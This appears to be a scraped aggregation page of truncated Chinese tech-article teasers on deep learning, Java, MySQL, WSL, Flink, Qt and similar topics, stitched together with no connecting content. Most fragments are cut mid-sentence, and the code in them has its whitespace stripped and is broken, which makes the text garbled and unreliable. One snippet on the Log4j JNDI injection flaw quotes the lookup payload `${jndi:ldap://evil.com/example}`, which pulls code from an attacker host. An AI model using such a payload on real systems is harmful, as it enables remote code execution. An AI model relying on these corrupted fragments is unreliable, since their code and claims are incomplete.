假设我们在浏览器的地址栏输入并访问http://www.example.com，这个网站上有一个AJAX请求，该请求需要从https://api.example.com/d

首先，LLM是一个更为抽象的概念，它包含了各种自然语言处理任务中使用的各种深度学习模型结构。这些模型通过建立深层神经网络，根据已有的大量文本数据进行文本自动生成。

一、String与Date（java.util.Date）互转[java]viewplaincopy//1.1、String->[email protected]()throwsParseException{StringdateStr="2010-05-0412:34:23";//注意format的格式要与日期String的格式相匹配Simp

echarts-stat直方图分布，XY轴没有与主图对应的问题https://echarts.apache.org/examples/en/editor.html?

HarmonyOS4.0系列——08、UI组件BlankBlank组件在横竖屏占满空余空间效果//xxx.ets@Entry@ComponentstructBlankExample{build(){Column

需求背景某订单有N个定时任务，每个任务的执行时间已经确定，希望直观的查看该订单的任务执行趋势查询SQL：selectUNIX_TIMESTAMP(DATE_FORMAT(exec_time,'%Y-%m

通过使用深度学习模型来实时识别货架上的商品，零售商可以更高效地管理库存，减少人工盘点的时间和成本。

以下是一个Python的例子，用来配置HTTP代理服务器的代码：importrequestsproxy={'http':'http://proxy.example.com:8080','https':'

5.1.6中，可以用如下形式处理所有其他controller不匹配的GET请求但在5.2.3中，不再支持，必须要写上@RequestMapping("/**")才可以成功匹配下面是对spring匹配请求的源码分析

机器学习中的梯度下降法是一种寻找函数最小值的优化算法，广泛应用于训练各种模型，尤其是在深度学习中。

这些原理主要包括：机器学习和深度学习：AI手机利用机器学习算法，尤其是深度学习模型，来分析和理解用户数据（如照片、视频、文本和语音）。

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安装WSL安装WSL2之前，必须启用“虚拟机平台”可选功能。计算机需要虚拟化功能才能使用此功能。以管理员身份打开PowerShell并运行：dism.exe/online/enable-feature/featurename:VirtualMachinePlatform/all/norestart下载Linux内核更新包:l链接：https://wslstorestorage.blob.core.

作业地址：吴恩达《深度学习》作业线上版-知乎(zhihu.com)写的很好的笔记：吴恩达《深度学习》笔记汇总-知乎(zhihu.com)我的「吴恩达深度学习笔记」汇总帖（附18个代码实战项目）-知乎(zhihu.com

1.1配置中心架构1.2ConfigClient源码分析配置中心核心接口ConfigServicepublicclassConfigServerDemo{publicstaticvoidmain(String

Flink1.12.0以后UpsertKafkaSQLConnector不支持scan.startup.mode、scan.startup.specific-offsets、scan.startup.timestamp-millis

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1、Pytorch深度学习跑代码的时候，因为简单的操作不适合cpu运行，我们更习惯用GPU加速代码。

1.类结构及其注释1.1类结构StampedLock是在java8中引入的一个新的并发工具，主要为了解决此前java7中Lock实现上的一些问题，如ReentrantReadWriteLock的锁饥饿问题

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2、Dropout的拓展1：R-Dropout3、Dropout的拓展2：Multi-SampleDropout4、Dropout的拓展3：DropConnect5、Dropout的拓展4：Standout6

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前言：前面LLE讲了两个点在高维空间距离相近，通过降维后也要保持这种关系但是如果两个点在高维空间距离很远（不属于K邻近）,降维后有可能叠加在一起了.t-SNE(t-DistributedStochasticNeighborEmbedding)是一种降维技术，LLE在进行降维时，都强调了降维后的相似的数据要尽可能地保持相似，但并没有说对于那些不相似的数据，要有多不相似这个问题.这就导致了在进行降维时

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PyTorch是一个开源的深度学习平台，提供了许多常用的模块来帮助开发者构建和训练神经网络。

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一.Qt中的字符串类QStringvsstring：QString在Qt库中几乎是无所不在的所有的Qt图形用户组件都依赖于QString实验1：QString初体验#includevoidSample_

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HTML与CSS网站设计实践之旅BuildYourOwnWebSitetheRightWayUsingHTML&CSS——[英]IanLloyd【Example】Listsp-anintroductionLists-anintroduction

在其2.0到2.14.1版本中存在一处JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入

我的电脑连接到以下型号的两个罗技网络摄像头：1）罗技高清网络摄像头C6152）罗技QuickCamPro9000在Python中，我运行以下脚本importcv2cap1=cv2.VideoCapture

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随着深度学习技术的发展，目标检测技术取得了显著的进步，广泛应用于自动驾驶、智能监控、机器人视觉等领域。

深度学习和机器学习，作为人工智能领域的两个重要分支，常常被人们相提并论。虽然它们在很多方面都有共同之处，但也有各自的特点和优势。

本来想写到深度学习里的，但是线下和别人聊RLHF，和PPO,DPO的时候，我发现大家一脑袋问号，其实也正常，深度学习里面数学的东西没那么多，入门容易一点，强化学习（现在也都谈强化深度学习，或者深度强化学习了

从今天开始陆续连载一些深度学习的基础，包括概念，数学原理，代码，最近也确实没什么热点可以蹭先看机器学习和深度学习的对比："数据和特征决定了机器学习的上限，而模型与算法则是逼近这个上限而已"，机器学习和深度学习的本质区别之一是特征工程

不知不觉我写了5篇公众号了，这个系列也写到了第三章了，我发现做什么事情还是自驱力很重要，如果觉得有意思，就能一直坚持下去，如果我公众号能写到50篇，我就去起点开一个号写仙侠小说去，我觉得小说可能我也能坚持写下去。继续写基础，这东西之所以学起来很麻烦就是基础太多上一篇文章我们介绍了,可以查中括号来确定张量是几维的，也能通过shape数量看到，同时shape也提供了每个维度的与元素个数，像上图前面每个

【深度学习】使用tensorflow实现VGG19网络本文章向大家介绍【深度学习】使用tensorflow实现VGG19网络，主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项，具有一定的参考价值

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上一章的内容深度学习从入门到不想放弃-6(qq.com)今天讲的也算基础（这个系列后来我一寻思，全是基础），但是可能要着重说下，今天讲前向计算和反向传播，在哪儿它都永远是核心，不管面对什么模型前向计算：

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Ajax、varxhr=newXMLHttpRequest();//创建XMLHttpRequest对象xhr.open("GET","http://example.com/api/data",true

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MySQL常用时间处理函数1、当前时间的年月日时分秒selectnow()2、当前时间戳selectunix_timestamp(now())3、字符串截取selectsubstr(now(),1,10

GRU模型随着深度学习领域的快速发展，循环神经网络（RNN）已成为自然语言处理（NLP）等领域中常用的模型之一。但是，在RNN中，如果时间步数较大，会导致梯度消失或爆炸的问题，这影响了模型的训练效果。

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面向对象：本篇前言知识主要介绍深度学习知识，全面总结知知识点，方便小白或AI爱好者学习基础知识。